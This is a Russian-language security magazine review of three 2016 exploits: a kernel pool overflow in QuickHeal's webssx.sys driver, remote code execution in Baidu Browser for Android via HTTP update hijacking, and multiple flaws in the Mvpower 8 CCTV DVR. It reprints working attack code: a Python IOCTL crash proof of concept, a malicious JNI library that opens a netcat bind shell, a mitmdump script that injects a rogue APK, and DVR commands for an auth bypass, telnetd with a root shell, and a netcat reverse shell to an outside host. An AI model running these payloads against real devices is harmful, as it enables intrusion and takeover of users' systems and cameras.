В сегодняшнем обзоре мы рассмотрим DoS уязвимость в антивирусе QuickHeal, посмотрим, как происходит процесс поиска и эксплуатации ошибки в браузере Baidu для Android, и закончим взглядом на серию уязвимостей в популярной веб-камере.

 

DoS уязвимость в драйвере webssx.sys от QuickHeal

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 19 февраля 2016 года
Автор: Csaba Fitzl
CVE: 2015-8285

В антивирусе QuickHeal 16.00 (9.0.0.x) была обнаружена DoS-уязвимость, которая может привести к повышению привилегий. Уязвимый драйвер можно найти по следующему пути:

C:\Program Files\Quick Heal\Quick Heal Internet Security\webssx.sys

Если мы посмотрим его характеристики с помощью программы DeviceTree, то увидим, что, хоть она и должна быть доступна только администраторам или пользователю SYSTEM, флаг DEVICE_SECURE_OPEN не используется. Это означает, что любой пользователь может взаимодействовать с этим драйвером и произвольным путем к нему. Выглядеть он будет примерно так: \Device\webssx\sometext.

Свойства драйвера webssx в DeviceTree
Свойства драйвера webssx в DeviceTree

Далее автор нашел IOCTL код 0x830020FC, приводящий к вызову уязвимой функции. Но для того, чтобы попасть к ней, нужно, чтобы размер входящего буфера был больше, чем 0x138. Если условие выполняется, то по адресу webssx+5596, произойдет вызов sub_1D1E, который затем вызовет функцию webssx+1090. Граф вызовов представлен на скриншоте.

Граф вызовов уязвимой функции драйвера webssx
Граф вызовов уязвимой функции драйвера webssx

Целочисленное переполнение получается из-за недостаточной проверки получаемых данных из входного буфера. На скриншоте ты можешь видеть, что если мы имеем 0x1 в определенном месте буфера, то случится переход на небольшой участок кода, который установит новое значение регистра EDX. Данные берутся из буфера и к ним добавляется 0x14A.

Затем EDX используется для выделения пула в пространстве ядра. Если мы установим значение по смещению 0x130 в буфере на 0xffffffc0 или нечто похожее, то значение в EDX будет меньше, чем 0x14A. Затем оно используется для задания размера пула.

Если выделение пройдет успешно, то мы увидим, что будет скопировано 0x4E*4 = 0x138 байт внутрь пула из буфера. В случае повреждения размера выделения произойдет перезапись пула ядра, что, в свою очередь, приведет к повышению привилегий.

Перезапись пула ядра после переполнения в webssx
Перезапись пула ядра после переполнения в webssx

Когда функция продолжит работу, те же проверки будут снова выполнены, и мы обратимся к операции memcpy. Первоначальная задумка разработчиков, наверное, выглядела примерно так:

if some_value = 1:
  B = InputBuffer[0x130]
  Выделение пула размером A+B
else:
  Выделение пула размером A
  Копирование А байт из InputBuffer в пул

if some_value = 1
  Копирование дополнительных B байт из InputBuffer в пул
Вызов операции memcpy в webssx
Вызов операции memcpy в webssx

Операция memcpy вызовет BSOD (потому что размер параметра будет намного больше — 0xffffffc0, что примерно равно 4 ГБ) и может упасть в следующих случаях:

  1. наш ввод меньше 4 ГБ и попытается прочесть из памяти адреса, которые не инициализированы;
  2. на 32-битном компьютере у нас закончится память во время копирования.
 

EXPLOIT

Автор опубликовал на GitHub свой эксплойт для демонстрации уязвимости. Он написан на Python и для работы требует ctypes, чтобы обратиться к kernel32 и ntdll:

kernel32 = windll.kernel32
ntdll = windll.ntdll

Обратимся к кастомному обработчику ядра \\\\.\\webssx\some с нужными параметрами:

GENERIC_READ  = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
IOCTL_VULN    = 0x830020FC
DEVICE_NAME   = "\\\\.\\webssx\some" # Добавляем "some" для обходп ACL restriction, (FILE_DEVICE_SECURE_OPEN отсутствует для такого драйвера)
dwReturn      = c_ulong()
driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)

inputbuffer       = 0x41414141 # адрес памяти входящего буфера
inputbuffer_size  = 0x1000
outputbuffer_size = 0x0
outputbuffer      = 0x20000000

Выделим память:

baseadd   = c_int(base)
size = c_int(evil_size)
evil_input = "\x41" * 0x10
evil_input += "\x42\x01\x42\x42" # триггер memcpy
evil_input += "\x42" * (0x130-0x14)
evil_input += "\xc0\xff\xff\xff" # это вызывает падение memcpy и появление BSOD
evil_input += "\x43" * (evil_size-len(evil_input))
ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong,
  POINTER(c_int), c_int, c_int]
dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0,
  byref(size),
  MEM_RESERVE|MEM_COMMIT,
  PAGE_EXECUTE_READWRITE)
written = c_ulong()
alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, base, evil_input, len(evil_input), byref(written))

И отправляем ioctl-вызов:

dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
  None,
  None,
  None,
  byref(IoStatusBlock),
  IOCTL_VULN,
  inputbuffer,
  inputbuffer_size,
  outputbuffer,
  outputbuffer_size
)

Аналогичная уязвимость существует и на 64-битных системах, но так как оперативной памяти больше, то, по словам автора, возможен не только DoS, но и поднятие привилегий.

 

TARGETS

QuickHeal 16.00 (9.0.0.x)

 

SOLUTION

Производитель выпустил исправление.

 

Удаленное выполнение кода в Baidu Browser для Android

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 27 февраля 2016 года
Автор: lifeform-labs
CVE: N/A

Все началось с поста на xda-developers, где были расписаны уязвимости в браузере Baidu. Члены команды lifeform-labs решили показать пример того, что эксплуатация не составляет особого труда. Браузер же очень популярен: по данным Google Play, число загрузок составляет от десяти до пятидесяти миллионов.

Перед началом установки браузера автор запустил mitmproxy.

Процесс обновления T5Update APK
Процесс обновления T5Update APK

И что мы видим? APK загружается по протоколу HTTP:

GET http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk

Если открыть предыдущий запрос, то мы увидим ответ JSON с адресом APK:

GET http://mobile-global.baidu.com/mbrowser/management/zeus_update.do?si=12.1.0.0&so=6.2.7.11&zi=-&zo=-&api=1&pt=ma&co=US&la=en&ch=gp&av=6.3.0.1&sv=a_19&pr=&n=

Ответ в JSON:

{
  "d": {
    "downUrl": "http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk",
    "force": "0",
    "freq": "365d",
    "md5": "54b2672d5353481ab5a762bdcd74977f",
    "remindCount": "1",
    "size": "7636",
    "zi": "12.1.0.0",
    "zo": "6.2.7.11"
  },
  "n": "8913ced893e7656ab190490d9bf96e9f",
  "s": 1
}

После успешной установки пользователь увидит следующее сообщение.

Сообщение об успешной установки T5 Engine
Сообщение об успешной установки T5 Engine

Что такое T5 Engine, нам не особенно важно (но если любопытно, то знай: это дополнение, которое увеличивает скорость Baidu). Загрузим и его для дальнейшего изучения:

wget http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk
...
2016-02-27 12:56:21 (1.95 MB/s) — '54b2672d5353481ab5a762bdcd74977f.apk' saved [7819869/7819869]

Смотрим содержимое:

unzip -l 54b2672d5353481ab5a762bdcd74977f.apk
Archive:  54b2672d5353481ab5a762bdcd74977f.apk
  Length     Date   Time    Name
 --------    ----   ----    ----
    21704  03-24-15 14:32   libbaidujni.so
    99576  03-24-15 14:32   libdumper.so
    66748  03-24-15 14:32   libZeusPlatformImpl23.so
    66752  03-24-15 14:32   libZeusPlatformImpl40.so
    66752  03-24-15 14:32   libZeusPlatformImpl41.so
    66752  03-24-15 14:32   libZeusPlatformImpl42.so
    66756  03-24-15 14:32   libZeusPlatformImpl43.so
    66756  03-24-15 14:32   libZeusPlatformImpl443.so
    66756  03-24-15 14:32   libZeusPlatformImpl44.so
    66752  03-24-15 14:32   libZeusPlatform.so
 14495444  03-24-15 14:32   libzeus.so
   493810  03-24-15 14:33   com.baidu.zeus.jar
 --------                   -------
 15644558                   12 files

Все необходимые библиотеки загружаются по HTTP. Изучаем директорию Baidu, чтобы понять, что и где расположено:

/data/data/com.baidu.browser.inter/files # ls -la
drwx------ u0_a151  u0_a151           2016-02-27 11:57 AFRequestCache
-rw------- u0_a151  u0_a151        33 2016-02-27 11:57 AF_INSTALLATION
drwx------ u0_a151  u0_a151           2016-02-27 11:57 bbm
-rw------- u0_a151  u0_a151     10453 2016-02-27 11:57 config_gb.json
drwx------ u0_a151  u0_a151           2016-02-27 11:57 cyber
drwx------ u0_a151  u0_a151           2016-02-27 11:57 data
drwx------ u0_a151  u0_a151           2016-02-27 11:57 deeplink
drwx------ u0_a151  u0_a151           2016-02-27 11:57 float_window
drwx------ u0_a151  u0_a151           2016-02-27 12:44 home
drwx------ u0_a151  u0_a151           2016-02-27 11:57 images
-rwxr-xr-x u0_a151  u0_a151     13592 2016-02-27 11:57 libprocmox_v1_4.so
drwx------ u0_a151  u0_a151           2016-02-27 11:57 misc
drwx------ u0_a151  u0_a151           2016-02-27 11:57 plugin
drwx------ u0_a151  u0_a151           2016-02-27 11:57 pv
drwx------ u0_a151  u0_a151           2016-02-27 11:57 skin
drwx------ u0_a151  u0_a151           2016-02-27 11:57 splash
drwx------ u0_a151  u0_a151           2016-02-27 11:57 version
drwx--x--x u0_a151  u0_a151           2016-02-27 12:44 zeus

И в итоге находим нужную папку /files/zeus/lib/, куда складируется содержимое APK:

/data/data/com.baidu.browser.inter/files/zeus/libs # ls -la
-rw-r--r-- u0_a151  u0_a151   1252704 2016-02-27 12:44 com.baidu.zeus.dex
-rw-r--r-- u0_a151  u0_a151    493810 2016-02-27 12:44 com.baidu.zeus.jar
-rw-r--r-- u0_a151  u0_a151     66752 2016-02-27 12:44 libZeusPlatform.so
...
-rw-r--r-- u0_a151  u0_a151     66756 2016-02-27 12:44 libZeusPlatformImpl443.so
-rw-r--r-- u0_a151  u0_a151     21704 2016-02-27 12:44 libbaidujni.so
-rw-r--r-- u0_a151  u0_a151     99576 2016-02-27 12:44 libdumper.so
-rw-r--r-- u0_a151  u0_a151  14495444 2016-02-27 12:44 libzeus.so
-rw-r--r-- u0_a151  u0_a151        17 2016-02-27 12:44 ver.dat

Теперь у нас есть все, что требуется для успешной эксплуатации.

 

EXPLOIT

План следующий:

  1. создать zip с библиотеками, которые мы нашли в T5Update APK;
  2. заменить одну из библиотек нашей и упаковать в новый zip;
  3. провести MitM атаку;
  4. подставить наш файл вместо T5Update APK.

Проверим, какие библиотеки загружаются при запуске браузера:

D/dalvikvm(21640): Trying to load lib /data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38
D/dalvikvm(21640): Added shared lib /data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38

Нашей целью будет библиотека libzeus.so. Заменяем ее в созданном архиве. Ниже представлен код новой библиотеки для выполнения нашего кода:

#include <jni.h>
#include <stdio.h>
#include <stdlib.h>

int JNI_OnLoad( JavaVM* vm, void* reserved )
{
    system( "/data/local/tmp/busybox nc -ll -p 6666 -e /system/bin/sh" );
    return JNI_VERSION_1_6;
}

После этого создадим свой APK с поддельной libzeus.so:

unzip -l bad.apk
Archive:  bad.apk
  Length     Date   Time    Name
 --------    ----   ----    ----
   493810  03-24-15 14:33   com.baidu.zeus.jar
    21704  03-24-15 14:32   libbaidujni.so
    99576  03-24-15 14:32   libdumper.so
     9356  02-13-16 16:20   libzeus.so
    ...
    66756  03-24-15 14:32   libZeusPlatformImpl443.so

Теперь напишем небольшой скрипт mitmdump, который будет вставлять bad.apk внутрь запроса загрузки T5Update APK:

import os
from libmproxy import proxy, flow
from libmproxy.protocol import http
from libmproxy.models import HTTPResponse
from netlib.http import Headers

def start(context, argv):
  context.log("[*] Starting APK Injection!")

def request(context, flow):
  if not flow.request.host == "s.mobile-global.baidu.com":
    return

  context.log("[Baidu APK Injection] Target host : {0}".format(flow.request.host))
    if flow.request.path.split(".")[-1] == "apk":
      context.log("[Baidu APK Injection] Target injection point : {0}".format(flow.request.path))
      response = HTTPResponse("HTTP/1.0", 200, "OK", Headers(Content_Type="application/octet-stream",), "PWNED")

      # Inject our APK into the HTTP response
      try:
        with open("bad.apk", "rb") as f:
          modified = f.read()
          response.content = modified
          response.headers["Content-Length"] = str(len(modified))
          f.close()
      except IOError as e:
        raise e

      flow.reply(response)

Автор записал демо с примером успешной эксплуатации.

 

TARGETS

Baidu Browser for Android

 

SOLUTION

Производитель выпустил исправление

 

Множественные уязвимости в DVR Mvpower 8 для CCTV

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 10 февраля 2016 года
Автор: Andrew Tierney
CVE: N/A

Камеры видеонаблюдения повсеместны, но их безопасность — под вопросом. Исследователи из конторы PenTestPartners решили проверить их на прочность, для чего выбрали одну из недорогих моделей DVR — Mvpower 8.

В этой системе используется собственный веб-сервер — его можно поискать через Shodan по HTTP-заголовку JAWS/1.0. В результатах будет перечислено 44000 устройств с таким заголовком и «свободным» доступом. Большинство из них стоят в общественных местах.

Результаты поиска предположительно уязвимых устройств через Shodan
Результаты поиска предположительно уязвимых устройств через Shodan
 

EXPLOIT

Начнем со стандартной уязвимости, которая частично относится к человеческому фактору. По умолчанию на таком устройстве для входа используется пароль admin и пустой пароль. До сих пор многие после покупки и установки забывают поменять пароли (не говоря уже о логинах), и атакующий может без проблем получить админский доступ к панели управления.

Следующая уязвимость — это обход аутентификации. По задумке разработчиков, пользователь заходит на index.html, где вводит свои данные. Если они правильные, то пользователя направляют на страницу view2.html.

В случае попытки зайти сразу на страницу view2.html без установленных cookie на некоторое время мы увидим загруженную страницу и редирект на index.html. Как оказалось, проверка осуществляется с помощью JavaScript и проверяется только наличие cookie:

$(document).ready(function() {
  dvr_camcnt = Cookies.get(“dvr_camcnt”);
  dvr_usr = Cookies.get(“dvr_usr”);
  dvr_pwd = Cookies.get(“dvr_pwd”);
  if(dvr_camcnt == null || dvr_usr == null || dvr_pwd == null)
  {
    location.href = “/index.html”;
  }
}

Таким образом, в cookie можно написать что угодно, и получить доступ к интерфейсу без знания правильного логина и пароля.

Установка cookie для обхода аутентификации в DVR
Установка cookie для обхода аутентификации в DVR

Получить полный доступ к веб-интерфейсу, конечно, интересно, но хотелось бы полноценный шелл на устройстве. При исследовании был найден заголовок J18. Это последовательный порт 115200. Но у него нет никакого вывода, что не позволяет его нормально использовать.

В устройстве используется загрузчик с открытым исходным кодом — uboot. А саму загрузку можно прервать нажатием любой клавиши. Но на это есть всего секунда 🙂

После попадания в консоль можно изменить параметры загрузки, чтобы пускало без пароля:

setenv bootargs ${bootargs} single
boot

После этого DVR загрузится в режиме single user и у нас будет желаемый шелл. Хотя и не удаленный.

После анализа прошивки стало ясно, что большая часть функций хранится в приложении dvr_app, включая веб-сервер. Для реализации веб-интерфейса используются скрипты /cgi-bin/*.cgi, но такой папки в файловой системе не нашлось, а значит, dvr_app сам обрабатывает такие запросы. Подобное поведение характерно для встраиваемых устройств.

Найденные строки в приложение dvr_app
Найденные строки в приложение dvr_app

После анализа строк из dvr_app были найдены не только cgi-скрипты, но и другие интересные файлы. Авторы очень удивились, обнаружив встроенную команду moo. Но нам больше интересен шелл. Попробуем вывести список процессов.

Выполнение команды shell для выведения списка процессов
Выполнение команды shell для выведения списка процессов

Теперь у нас безо всякой авторизации есть удаленный шелл с правами администратора, который не документирован и, возможно, не отключаем.

На устройстве также имеется telnet на 23 порту, правда, он требует пароль. Но, так как у нас есть доступ к шеллу, описанный выше, то мы можем узнать хеш пароля и расшифровать его.

Получаем хеш пароля DVR-устройства
Получаем хеш пароля DVR-устройства

Если же пароль долго не подбирается, то мы можем использовать шелл для запуска нового telnet демона:

http://192.168.3.101/shell?/usr/sbin/telnetd -l/bin/sh -p 25
telnet доступ к DVR
telnet доступ к DVR

Не у всех найденных устройствах наружу прокинуты какие-то порты, кроме 80, поэтому рассмотрим получение reverse shell.

DVR использует busybox, но, увы, без любимого нами netcat. Но это можно исправить! Скомпилируем новый busybox под используемый ARM процессор, благо особых зависимостей netcat не требует.

Наши дальнейшие действия таковы:

  1. Найти директорию с возможностью записи. Вся файловая система устройства смонтирована с правами только для чтения, чтобы нельзя было изменить пароль или добавить пользователя. Но используется дополнительный жесткий диск для хранения данных — /root/rec/a1.
  2. Загрузить с помощью wget новый скомпилированный busybox.
  3. Сделать файл исполняемым.
  4. Запустить netcat.

    http://192.168.3.101/shell?cd /root/rec/a1
    wget %68%74%74%70%3a%2f%2f%32%31%32%2e%31%31%31%2e%34%33%2e%31%36%31%2f%62%75%73%79%62%6f%78%20
    chmod %2bx busybox
    ./busybox nc 1.2.3.4 8000 -e /bin/sh -e /bin/sh

URL должен быть закодирован.

Теперь, зайдя на адрес http://1.2.3.4/busybox, мы получаем долгожданный шелл.

Помимо описанных выше уязвимостей у устройства есть еще ряд недостатков:

  • нет CSRF защиты;
  • нет HTTPS;
  • нет защиты от брутфорса;
  • и многое другое.

Оригинальную версию статьи ты можешь прочитать на pentestpartners.com

 

TARGETS

Mvpower 8 (возможно, уязвимы и другие версии)

 

SOLUTION

На момент написания статьи об исправлениях не было известно.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    3 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии